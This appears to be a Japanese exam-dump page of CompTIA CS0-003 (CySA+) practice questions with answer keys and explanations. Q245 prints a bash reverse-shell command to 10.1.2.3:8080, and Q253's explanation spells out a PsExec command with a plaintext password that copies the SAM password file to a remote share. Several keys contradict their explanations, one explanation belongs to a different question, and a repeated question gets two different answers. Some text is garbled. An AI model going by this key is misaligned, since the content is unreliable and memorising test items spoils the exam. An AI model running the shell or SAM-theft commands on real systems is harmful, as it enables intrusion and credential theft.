[2025年03月20日] 合格CompTIA Cybersecurity Analyst CS0-003試験問題集には475問があります
究極ガイドの無料準備CompTIA CS0-003試験問題と解答
質問 # 236
Which of the following is described as a method of enforcing a security policy between cloud customers and cloud services?
- A. PAM
- B. DMARC
- C. CASB
- D. SIEM
正解：C
解説：
A CASB (Cloud Access Security Broker) is a security solution that acts as an intermediary between cloud users and cloud providers, and monitors and enforces security policies for cloud access and usage. A CASB can help organizations protect their data and applications in the cloud from unauthorized or malicious access, as well as comply with regulatory standards and best practices. A CASB can also provide visibility, control, and analytics for cloud activity, and identify and mitigate potential threats12 The other options are not correct. DMARC (Domain-based Message Authentication, Reporting and Conformance) is an email authentication protocol that helps email domain owners prevent spoofing and phishing attacks by verifying the sender's identity and instructing the receiver how to handle unauthenticated messages34 SIEM (Security Information and Event Management) is a security solution that collects, aggregates, and analyzes log data from various sources across an organization's network, such as applications, devices, servers, and users, and provides real-time alerts, dashboards, reports, and incident response capabilities to help security teams identify and mitigate cyberattacks56 PAM (Privileged Access Management) is a security solution that helps organizations manage and protect the access and permissions of users, accounts, processes, and systems that have elevated or administrative privileges. PAM can help prevent credential theft, data breaches, insider threats, and compliance violations by monitoring, detecting, and preventing unauthorized privileged access to critical resources78
質問 # 237
The security team reviews a web server for XSS and runs the following Nmap scan:
Which of the following most accurately describes the result of the scan?
- A. The vulnerable parameter and characters > and " with a reflected XSS attempt
- B. The vulnerable parameter and unfiltered or encoded characters passed > and " as unsafe
- C. An output of characters > and " as the parameters used m the attempt
- D. The vulnerable parameter ID hccp://l72.31.15.2/1.php?id-2 and unfiltered characters returned
正解：A
解説：
A cross-site scripting (XSS) attack is a type of web application attack that injects malicious code into a web page that is then executed by the browser of a victim user. A reflected XSS attack is a type of XSS attack where the malicious code is embedded in a URL or a form parameter that is sent to the web server and then reflected back to the user's browser. In this case, the Nmap scan shows that the web server is vulnerable to a reflected XSS attack, as it returns the characters > and " without any filtering or encoding. The vulnerable parameter is id in the URL http://172.31.15.2/1.php?id=2.
質問 # 238
A security analyst needs to identify a computer based on the following requirements to be mitigated:
- The attack method is network-based with low complexity.
- No privileges or user action is needed.
- The confidentiality and availability level is high, with a low
integrity level.
Given the following CVSS 3.1 output:
Computer1: CVSS3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:H
Computer2: CVSS3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H
Computer3: CVSS3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:H
Computer4: CVSS3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H
Which of the following machines should the analyst mitigate?
- A. Computer1
- B. Computer2
- C. Computer3
- D. Computer4
正解：D
解説：
To match the mitigation criteria, we analyze each machine's CVSS (Common Vulnerability Scoring System) attributes:
Attack Vector (AV): N for network (matches the requirement of network-based attack).
Attack Complexity (AC): L for low (meets the requirement for low complexity).
Privileges Required (PR): N for none (indicating no privileges are needed).
User Interaction (UI): N for none (matches the requirement that no user action is needed).
Confidentiality (C), Integrity (I), and Availability (A): Requires high confidentiality and availability with low integrity.
質問 # 239
A company is deploying new vulnerability scanning software to assess its systems. The current network is highly segmented, and the networking team wants to minimize the number of unique firewall rules. Which of the following scanning techniques would be most efficient to achieve the objective?
- A. Deploy a cloud-based scanner and perform a network scan.
- B. Deploy agents on all systems to perform the scans.
- C. Deploy a central scanner and perform non-credentialed scans.
- D. Deploy a scanner sensor on every segment and perform credentialed scans.
正解：B
解説：
USB ports are a common attack vector that can be used to deliver malware, steal data, or compromise systems.
The first step to mitigate this vulnerability is to check the configurations of the company assets and disable or restrict the USB ports if possible. This will prevent unauthorized devices from being connected and reduce the attack surface. The other options are also important, but they are not the first priority in this scenario.
References:
* CompTIA CySA+ CS0-003 Certification Study Guide, page 247
* What are Attack Vectors: Definition & Vulnerabilities, section "How to secure attack vectors"
* Are there any attack vectors for a printer connected through USB in a Windows environment?, answer by user "schroeder"
質問 # 240
The SOC received a threat intelligence notification indicating that an employee's credentials were found on the dark web. The user's web and log-in activities were reviewed for malicious or anomalous connections, data uploads/downloads, and exploits. A review of the controls confirmed multifactor authentication was enabled. Which of the following should be done first to mitigate impact to the business networks and assets?
- A. Lower the thresholds for SOC alerting of suspected malicious activity.
- B. Perform an ad hoc AV scan on the user's laptop.
- C. Perform a forced password reset.
- D. Review and ensure privileges assigned to the user's account reflect least privilege.
- E. Communicate the compromised credentials to the user.
正解：C
解説：
The first and most urgent step to mitigate the impact of compromised credentials on the dark web is to perform a forced password reset for the affected user. This will prevent the cybercriminals from using the stolen credentials to access the company's network and systems. Multifactor authentication is a good security measure, but it is not foolproof and can be bypassed by sophisticated attackers. Therefore, changing the password as soon as possible is the best practice to reduce the risk of a data breach or other cyber attack123 Reference: 1: How to monitor the dark web for compromised employee credentials 2: How to prevent corporate credentials ending up on the dark web 3: Data Breach Prevention: Identifying Leaked Credentials on the Dark Web
質問 # 241
An end-of-life date was announced for a widely used OS. A business-critical function is performed by some machinery that is controlled by a PC, which is utilizing the OS that is approaching the end-of- life date. Which of the following best describes a security analyst's concern?
- A. An outage of machinery would cost the organization money.
- B. There are no compensating controls in place for the OS.
- C. Any discovered vulnerabilities will not be remediated.
- D. Support will not be available for the critical machinery
正解：C
解説：
A security analyst's concern is that any discovered vulnerabilities in the OS that is approaching the end-of-life date will not be remediated by the vendor, leaving the system exposed to potential attacks. The other options are not directly related to the security analyst's role or responsibility. Verified Reference: CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives, page 9, section 2.21
質問 # 242
A security analyst is deploying a new application in the environment.
The application needs to be integrated with several existing applications that contain SPI.
Prior to the deployment, the analyst should conduct:
- A. a PCI assessment
- B. a business impact analysis
- C. an application stress test.
- D. a tabletop exercise
正解：C
質問 # 243
A security analyst is reviewing a packet capture in Wireshark that contains an FTP session from a potentially compromised machine. The analyst sets the following display filter: ftp. The analyst can see there are several RETR requests with 226 Transfer complete responses, but the packet list pane is not showing the packets containing the file transfer itself. Which of the following can the analyst perform to see the entire contents of the downloaded files?
- A. Change the display filter to tcg.port=20
- B. Change the display filter to f cp-daca and follow the TCP streams
- C. Change the display filter to f cp. accive. pore
- D. Navigate to the File menu and select FTP from the Export objects option
正解：B
解説：
The best way to see the entire contents of the downloaded files in Wireshark is to change the display filter to ftp-data and follow the TCP streams. FTP-data is a protocol that is used to transfer files between an FTP client and server using TCP port 20. By filtering for ftp-data packets and following the TCP streams, the analyst can see the actual file data that was transferred during the FTP session
質問 # 244
A systems administrator is reviewing after-hours traffic flows from data-center servers and sees regular outgoing HTTPS connections from one of the servers to a public IP address. The server should not be making outgoing connections after hours. Looking closer, the administrator sees this traffic pattern around the clock during work hours as well. Which of the following is the most likely explanation?
- A. A rogue network device
- B. Network host IP address scanning
- C. C2 beaconing activity
- D. Data exfiltration
- E. Anomalous activity on unexpected ports
正解：C
解説：
The most likely explanation for this traffic pattern is C2 beaconing activity. C2 stands for command and control, which is a phase of the Cyber Kill Chain that involves the adversary attempting to establish communication with a successfully exploited target. C2 beaconing activity is a type of network traffic that indicates a compromised system is sending periodic messages or signals to an attacker's system using various protocols, such as HTTP(S), DNS, ICMP, or UDP.
C2 beaconing activity can enable the attacker to remotely control or manipulate the target system or network using various methods, such as malware callbacks, backdoors, botnets, or covert channels.
質問 # 245
A security analyst identified the following suspicious entry on the host-based IDS logs:
bash -i >& /dev/tcp/10.1.2.3/8080 0>&1
Which of the following shell scripts should the analyst use to most accurately confirm if the activity is ongoing?
- A. #!/bin/bash
netstat -antp | grep 8080 >dev/null && echo "Malicious activity" || echo "OK" - B. #!/bin/bash
ps -fea | grep 8080 >dev/null && echo "Malicious activity" || echo "OK" - C. #!/bin/bash
nc 10.1.2.3 8080 -vv >dev/null && echo "Malicious activity" || echo "OK" - D. #!/bin/bash
ls /opt/tcp/10.1.2.3/8080 >dev/null && echo "Malicious activity" || echo "OK"
正解：A
解説：
The suspicious entry on the host-based IDS logs indicates that a reverse shell was executed on the host, which connects to the remote IP address 10.1.2.3 on port 8080. The shell script option D uses the netstat command to check if there is any active connection to that IP address and port, and prints "Malicious activity" if there is, or "OK" otherwise. This is the most accurate way to confirm if the reverse shell is still active, as the other options may not detect the connection or may produce false positives.
質問 # 246
SIMULATION
An organization's website was maliciously altered.
INSTRUCTIONS
Review information in each tab to select the source IP the analyst should be concerned about, the indicator of compromise, and the two appropriate corrective actions.
正解：
解説：
Step 1: Analyzing the SFTP Log
The SFTP log provides a record of file transfer and login activities:
User "sjames" logged in from several IP addresses:
192.168.10.32 and 192.168.10.37 (internal network IPs) 32.111.16.37 and 41.21.18.102 (external IPs) We see file alterations in the /var/www directory, which is commonly the web directory.
Modified files: about_us.html, index.html
Suspicious activity:
192.168.11.102 and 41.21.18.102 modified the files.
32.111.16.37 had failed login attempts, indicating possible unauthorized access attempts. The most suspicious IP here is 41.21.18.102, as it's associated with direct file modifications, possibly indicating unauthorized access.
Step 2: Reviewing Netstat
The netstat output shows active connections and their states:
IP 41.21.18.102 has an ESTABLISHED connection with port 22, commonly used for SFTP. IP
32.111.16.37 is also attempting connections, and 32.111.16.37 connections are in a TIME_WAIT state, showing prior connections were recently closed. The netstat output reaffirms 41.21.18.102 is actively connected and potentially involved in malicious activities.
Step 3: Checking the HTTP Access Log
The HTTP Access log shows access to about_us.html:
32.111.16.37 repeatedly accessed /about_us.html with 404 errors, indicating attempts to reach non- existing pages.
41.21.18.102 accessed the 200 status code, showing successful page requests, but since this IP was modifying files directly on the server, it might be testing or verifying changes. Again,
41.21.18.102 stands out as it matches both successful file modification and page request patterns, while 32.111.16.37 shows unsuccessful attempts.
Step 4: Selecting the IP of Concern
Based on the above analysis:
41.21.18.102 should be the IP of concern due to its direct file modifications on Explanation:critical web files (about_us.html, index.html).
Step 5: Identifying the Indicator of Compromise
Potential indicators include unauthorized file modifications:
Modified index.html file is the correct answer, as it indicates direct changes to website content and is often a clear sign of compromise.
Step 6: Selecting Corrective Actions
To mitigate and prevent further compromise:
Change the password on the "sjames" account: The account was used across various IPs, indicating potential account compromise.
Block external SFTP access: Restricting SFTP to internal IPs only would prevent unauthorized external modifications. Since 41.21.18.102 was external, this would stop similar threats.
Summary
IP of Concern: 41.21.18.102
Indicator of Compromise: Modified index.html file
Corrective Actions:
Change the password on the sjames account
Block external SFTP access
These selections address both the immediate security breach and implement a preventative measure against future unauthorized access.
質問 # 247
A cybersecurity analyst is researching operational data to develop a script that will detect the presence of a threat on corporate assets. Which of the following contains the most useful information to produce this script?
- A. OpenloC files
- B. API documentation
- C. Protocol analysis captures
- D. MITRE ATT&CK reports
正解：D
解説：
A cybersecurity analyst is researching operational data to develop a script that will detect the presence of a threat on corporate assets. The most useful information to produce this script is MITRE ATT&CK reports. MITRE ATT&CK is a knowledge base of adversary tactics and techniques based on real-world observations. MITRE ATT&CK reports provide detailed information on how different threat actors operate, what tools they use, what indicators they leave behind, and how to detect or mitigate their attacks. The other options are not as useful or relevant for this purpose. Reference: CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives (CS0-002), page 9; https://attack.mitre.org/
質問 # 248
While a security analyst for an organization was reviewing logs from web servers. the analyst found several successful attempts to downgrade HTTPS sessions to use cipher modes of operation susceptible to padding oracle attacks. Which of the following combinations of configuration changes should the organization make to remediate this issue? (Select two).
- A. Configure the server to require HSTS.
- B. Remove cipher suites that use GCM.
- C. Require client browsers to present a user certificate for mutual authentication.
- D. Configure the server to prefer ephemeral modes for key exchange.
- E. Remove cipher suites that use CBC.
- F. Configure the server to prefer TLS 1.3.
正解：E、F
解説：
The correct answer is A. Configure the server to prefer TLS 1.3 and B. Remove cipher suites that use CBC.
A padding oracle attack is a type of attack that exploits the padding validation of a cryptographic message to decrypt the ciphertext without knowing the key. A padding oracle is a system that responds to queries about whether a message has a valid padding or not, such as a web server that returns different error messages for invalid padding or invalid MAC. A padding oracle attack can be applied to the CBC mode of operation, where the attacker can manipulate the ciphertext blocks and use the oracle's responses to recover the plaintext12.
To remediate this issue, the organization should make the following configuration changes:
Configure the server to prefer TLS 1.3. TLS 1.3 is the latest version of the Transport Layer Security protocol, which provides secure communication between clients and servers. TLS 1.3 has several security improvements over previous versions, such as:
It deprecates weak and obsolete cryptographic algorithms, such as RC4, MD5, SHA-1, DES,
3DES, and CBC mode.
It supports only strong and modern cryptographic algorithms, such as AES-GCM, ChaCha20-Poly1305, and SHA-256/384.
It reduces the number of round trips required for the handshake protocol, which improves performance and latency.
It encrypts more parts of the handshake protocol, which enhances privacy and confidentiality.
It introduces a zero round-trip time (0-RTT) mode, which allows resuming previous sessions without additional round trips.
It supports forward secrecy by default, which means that compromising the long-term keys does not affect the security of past sessions3456.
Remove cipher suites that use CBC. Cipher suites are combinations of cryptographic algorithms that specify how TLS connections are secured. Cipher suites that use CBC mode are vulnerable to padding oracle attacks, as well as other attacks such as BEAST and Lucky 13. Therefore, they should be removed from the server's configuration and replaced with cipher suites that use more secure modes of operation, such as GCM or CCM78.
The other options are not effective or necessary to remediate this issue.
Option C is not effective because configuring the server to prefer ephemeral modes for key exchange does not prevent padding oracle attacks. Ephemeral modes for key exchange are methods that generate temporary and random keys for each session, such as Diffie-Hellman or Elliptic Curve Diffie-Hellman. Ephemeral modes provide forward secrecy, which means that compromising the long-term keys does not affect the security of past sessions. However, ephemeral modes do not protect against padding oracle attacks, which exploit the padding validation of the ciphertext rather than the key exchange9.
Option D is not necessary because requiring client browsers to present a user certificate for mutual authentication does not prevent padding oracle attacks. Mutual authentication is a process that verifies the identity of both parties in a communication, such as using certificates or passwords. Mutual authentication enhances security by preventing impersonation or spoofing attacks. However, mutual authentication does not protect against padding oracle attacks, which exploit the padding validation of the ciphertext rather than the authentication.
Option E is not necessary because configuring the server to require HSTS does not prevent padding oracle attacks. HSTS stands for HTTP Strict Transport Security and it is a mechanism that forces browsers to use HTTPS connections instead of HTTP connections when communicating with a web server. HSTS enhances security by preventing downgrade or man-in-the-middle attacks that try to intercept or modify HTTP traffic.
However, HSTS does not protect against padding oracle attacks, which exploit the padding validation of HTTPS traffic rather than the protocol.
Option F is not effective because removing cipher suites that use GCM does not prevent padding oracle attacks. GCM stands for Galois/Counter Mode and it is a mode of operation that provides both encryption and authentication for block ciphers, such as AES. GCM is more secure and efficient than CBC mode, as it prevents various types of attacks, such as padding oracle, BEAST, Lucky 13, and IV reuse attacks. Therefore, removing cipher suites that use GCM would reduce security rather than enhance it .
References:
1 Padding oracle attack - Wikipedia
2 flast101/padding-oracle-attack-explained - GitHub
3 A Cryptographic Analysis of the TLS 1.3 Handshake Protocol | Journal of Cryptology
4 Which block cipher mode of operation does TLS 1.3 use? - Cryptography Stack Exchange
5 The Essentials of Using an Ephemeral Key Under TLS 1.3
6 Guidelines for the Selection, Configuration, and Use of ... - NIST
7 CBC decryption vulnerability - .NET | Microsoft Learn
8 The Padding Oracle Attack | Robert Heaton
9 What is Ephemeral Diffie-Hellman? | Cloudflare
[10] What is Mutual TLS? How mTLS Authentication Works | Cloudflare
[11] What is HSTS? HTTP Strict Transport Security Explained | Cloudflare
[12] Galois/Counter Mode - Wikipedia
[13] AES-GCM and its IV/nonce value - Cryptography Stack Exchange
質問 # 249
A penetration tester is conducting a test on an organization's software development website. The penetration tester sends the following request to the web interface:
Which of the following exploits is most likely being attempted?
- A. SQL injection
- B. Local file inclusion
- C. Directory traversal
- D. Cross-site scripting
正解：A
解説：
SQL injection is a type of attack that injects malicious SQL statements into a web application's input fields or parameters, in order to manipulate or access the underlying database. The request shown in the image contains an SQL injection attempt, as indicated by the "UNION SELECT" statement, which is used to combine the results of two or more queries. The attacker is trying to extract information from the database by appending the malicious query to the original one
質問 # 250
While reviewing a vulnerability assessment, an analyst notices the following issue is identified in the report:
- A. Use only signed certificates with cryptographically secure certificate sources.
- B. Obtain a new self-signed certificate and select AES as the hashing algorithm.
- C. Reconfigure the device to support only connections leveraging TLSv1.2.
- D. Replace the existing certificate with a certificate that uses only MD5 for signing.
正解：C
解説：
The vulnerability assessment report shows that the device is using SSLv3, which is an outdated and insecure protocol for secure communication over a network. SSLv3 has several known vulnerabilities, such as POODLE, that allow attackers to decrypt or modify the encrypted data. To remediate this issue, the analyst should recommend reconfiguring the device to support only connections leveraging TLSv1.2, which is a newer and more secure protocol that provides stronger encryption, authentication, and integrity protection for the data transmitted over the network.
質問 # 251
The SOC received a threat intelligence notification indicating that an employee's credentials were found on the dark web. The user's web and log-in activities were reviewed for malicious or anomalous connections, data uploads/downloads, and exploits. A review of the controls confirmed multifactor authentication was enabled. Which of the following should be done first to mitigate impact to the business networks and assets?
- A. Lower the thresholds for SOC alerting of suspected malicious activity
- B. Perform an ad hoc AV scan on the user's laptop.
- C. Perform a forced password reset.
- D. Review and ensure privileges assigned to the user's account reflect least privilege.
- E. Communicate the compromised credentials to the user.
正解：C
解説：
The first and most urgent step to mitigate the impact of compromised credentials on the dark web is to perform a forced password reset for the affected user. This will prevent the cybercriminals from using the stolen credentials to access the company's network and systems. Multifactor authentication is a good security measure, but it is not foolproof and can be bypassed by sophisticated attackers. Therefore, changing the password as soon as possible is the best practice to reduce the risk of a data breach or other cyber attack.
質問 # 252
A Chief Information Security Officer wants to map all the attack vectors that the company faces each day. Which of the following recommendations should the company align their security controls around?
- A. OSSTMM
- B. Diamond Model of Intrusion Analysis
- C. OWASP
- D. MITRE ATT&CK
正解：D
解説：
MITRE ATT&CK is a framework that maps the tactics, techniques, and procedures (TTPs) of various threat actors and groups, based on real-world observations and dat a. MITRE ATT&CK can help a Chief Information Security Officer (CISO) to map all the attack vectors that the company faces each day, as well as to align their security controls around the most relevant and prevalent threats. MITRE ATT&CK can also help the CISO to assess the effectiveness and maturity of their security posture, as well as to identify and prioritize the gaps and improvements.
質問 # 253
While reviewing system logs, a network administrator discovers the following entry:
Which of the following occurred?
- A. A remote shell failed to open.
- B. A user was trying to download a password file from a remote system.
- C. An attempt was made to access a remote workstation.
- D. The PsExec services failed to execute.
正解：B
解説：
The output shows an entry from a system log that indicates a user was trying to download a password file from a remote system using PsExec. PsExec is a command-line tool that allows users to execute processes on remote systems. The entry shows that the user "administrator" tried to run PsExec with the following parameters: \192.168.1.100 -u administrator -p P@ssw0rd -c cmd.exe /c type c:\windows\system32\config\SAM > \192.168.1.101\c$\temp\sam.txt This means that the user tried to connect to the remote system with IP address 192.168.1.100 using the username "administrator" and password "P@ssw0rd", copy cmd.exe to the remote system, and execute it with the command "type c:\windows\system32\config\SAM > \192.168.1.101\c$\temp\sam.txt". This command attempts to read the SAM file, which contains hashed passwords of local users, and write it to a file on another system with IP address 192.168.1.101. Reference: CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives (CS0-002), page 8; https://docs.microsoft.com/en-us/sysinternals/downloads/psexec
質問 # 254
A security analyst performs various types of vulnerability scans. Review the vulnerability scan results to determine the type of scan that was executed and if a false positive occurred for each device.
Instructions:
Select the Results Generated drop-down option to determine if the results were generated from a credentialed scan, non-credentialed scan, or a compliance scan.
For ONLY the credentialed and non-credentialed scans, evaluate the results for false positives and check the findings that display false positives. NOTE: If you would like to uncheck an option that is currently selected, click on the option a second time.
Lastly, based on the vulnerability scan results, identify the type of Server by dragging the Server to the results.
The Linux Web Server, File-Print Server and Directory Server are draggable.
If at any time you would like to bring back the initial state of the simulation, please select the Reset All button. When you have completed the simulation, please select the Done button to submit. Once the simulation is submitted, please select the Next button to continue.
正解：
解説：
質問 # 255
A security analyst needs to mitigate a known, exploited vulnerability related to an attack vector that embeds software through the USB interface. Which of the following should the analyst do first?
- A. Review logs to see whether this exploitable vulnerability has already impacted the company.
- B. Write a removable media policy that explains that USBs cannot be connected to a company asset.
- C. Check configurations to determine whether USB ports are enabled on company assets.
- D. Conduct security awareness training on the risks of using unknown and unencrypted USBs.
正解：C
解説：
USB ports are a common attack vector that can be used to deliver malware, steal data, or compromise systems. The first step to mitigate this vulnerability is to check the configurations of the company assets and disable or restrict the USB ports if possible. This will prevent unauthorized devices from being connected and reduce the attack surface. The other options are also important, but they are not the first priority in this scenario.
質問 # 256
Which of the following best describes the importance of implementing TAXII as part of a threat intelligence program?
- A. It is a semi-automated solution to gather threat intellbgence about competitors in the same sector.
- B. It exchanges messages in the most cost-effective way and requires little maintenance once implemented.
- C. It proactively facilitates real-time information sharing between the public and private sectors.
- D. It provides a structured way to gain information about insider threats.
正解：C
解説：
TAXII, or Trusted Automated eXchange of Intelligence Information, is a standard protocol for sharing cyber threat intelligence in a standardized, automated, and secure manner. TAXII defines how cyber threat information can be shared via services and message exchanges, such as discovery, collection management, inbox, and poll. TAXII is designed to support STIX, or Structured Threat Information eXpression, which is a standardized language for describing cyber threat information in a readable and consistent format. Together, STIX and TAXII form a framework for sharing and using threat intelligence, creating an open-source platform that allows users to search through records containing attack vectors details such as malicious IP addresses, malware signatures, and threat actors. The importance of implementing TAXII as part of a threat intelligence program is that it proactively facilitates real-time information sharing between the public and private sectors. By using TAXII, organizations can exchange cyber threat information with various entities, such as security vendors, government agencies, industry associations, or trusted groups. TAXII enables different sharing models, such as hub and spoke, source/subscriber, or peer-to-peer, depending on the needs and preferences of the information producers and consumers. TAXII also supports different levels of access control, encryption, and authentication to ensure the security and privacy of the shared information.
質問 # 257
A company is deploying new vulnerability scanning software to assess its systems. The current network is highly segmented, and the networking team wants to minimize the number of unique firewall rules. Which of the following scanning techniques would be most efficient to achieve the objective?
- A. Deploy a central scanner and perform non-credentialed scans
- B. Deploy a cloud-based scanner and perform a network scan
- C. Deploy a scanner sensor on every segment and perform credentialed scans
- D. Deploy agents on all systems to perform the scans
正解：C
質問 # 258
......
CompTIA Cybersecurity Analyst (CySA+) Certification Exam練習テスト2025年最新のストレスなしでCS0-003合格！：https://drive.google.com/open?id=1CwNUFVvOJ5OmdUDJpLd52J8Bd4ncSZXW
合格させるCS0-003テストエンジンとPDFで完全版無料問題集：https://jp.fast2test.com/CS0-003-premium-file.html